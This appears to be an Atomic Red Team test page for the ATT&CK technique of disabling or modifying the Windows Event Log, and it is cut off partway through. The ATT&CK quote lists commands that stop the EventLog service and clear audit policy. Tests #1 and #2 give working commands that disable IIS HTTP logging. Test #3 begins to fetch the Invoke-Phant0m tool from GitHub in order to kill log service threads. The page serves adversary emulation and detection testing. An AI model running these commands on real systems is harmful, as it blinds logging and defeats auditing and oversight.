# T1685.001 - Disable or Modify Tools: Disable or Modify Windows Event Log

## Description from ATT&CK

> Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits. Windows Event Log records user and system activity such as login attempts and process creation.(Citation: EventLog_Core_Technologies) This data is used by security tools and analysts to generate detections.
> 
> The EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\Local Policies\Audit Policy` for basic audit policy settings or `Security Settings\Advanced Audit Policy Configuration` for advanced audit policy settings.(Citation: Microsoft Audit Policy)(Citation: Microsoft Adv Security Settings) `auditpol.exe` may also be used to set audit policies.(Citation: Microsoft auditpol)
> 
> Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the `Set-Service -Name EventLog -Status Stopped` or `sc config eventlog start=disabled` commands (followed by manually stopping the service using `Stop-Service -Name EventLog`). Additionally, the service may be disabled by modifying the "Start" value in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog` then restarting the system for the change to take effect.(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)
> 
> There are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the "Start" value in the key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security`, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) With Administrator privilege, adversaries may modify the same values in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System` and `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application` to disable the entire EventLog.
> 
> Additionally, adversaries may use `auditpol` and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the `/success` or `/failure` parameters. For example, `auditpol /set /category:"Account Logon" /success:disable /failure:disable` turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC) To clear the audit policy, adversaries may run the following lines: `auditpol /clear /y` or `auditpol /remove /allusers`.(Citation: T1562.002_redcanaryco)

[Source](https://attack.mitre.org/techniques/T1685/001)

## Atomic Tests

- [Atomic Test #1: Disable Windows IIS HTTP Logging](#atomic-test-1-disable-windows-iis-http-logging)
- [Atomic Test #2: Disable Windows IIS HTTP Logging via PowerShell](#atomic-test-2-disable-windows-iis-http-logging-via-powershell)
- [Atomic Test #3: Kill Event Log Service Threads](#atomic-test-3-kill-event-log-service-threads)
- [Atomic Test #4: Impair Windows Audit Log Policy](#atomic-test-4-impair-windows-audit-log-policy)
- [Atomic Test #5: Clear Windows Audit Policy Config](#atomic-test-5-clear-windows-audit-policy-config)
- [Atomic Test #6: Disable Event Logging with wevtutil](#atomic-test-6-disable-event-logging-with-wevtutil)
- [Atomic Test #7: Makes Eventlog blind with Phant0m](#atomic-test-7-makes-eventlog-blind-with-phant0m)
- [Atomic Test #8: Modify Event Log Channel Access Permissions via Registry - PowerShell](#atomic-test-8-modify-event-log-channel-access-permissions-via-registry---powershell)
- [Atomic Test #9: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell](#atomic-test-9-modify-event-log-channel-access-permissions-via-registry-2---powershell)
- [Atomic Test #10: Modify Event Log Access Permissions via Registry - PowerShell](#atomic-test-10-modify-event-log-access-permissions-via-registry---powershell)

### Atomic Test #1: Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

**Supported Platforms:** Windows

**auto_generated_guid:** `69435dcf-c66f-4ec0-a8b1-82beb76b34db`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| website_name | The name of the website on a server | string | Default Web Site|

#### Attack Commands: Run with `powershell`!

```powershell
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
```

#### Cleanup Commands

```powershell
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
```
### Atomic Test #2: Disable Windows IIS HTTP Logging via PowerShell

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

**Supported Platforms:** Windows

**auto_generated_guid:** `a957fb0f-1e85-49b2-a[PII_REDACTED]84b1e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| website_name | The name of the website on a server | string | Default Web Site|

#### Attack Commands: Run with `powershell`!

```powershell
set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true
```

#### Cleanup Commands

```powershell
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
```
### Atomic Test #3: Kill Event Log Service Threads

Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html

**Supported Platforms:** Windows

**auto_generated_guid:** `41ac52ba-5d5e-40c0-b267-573ed90489bd`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c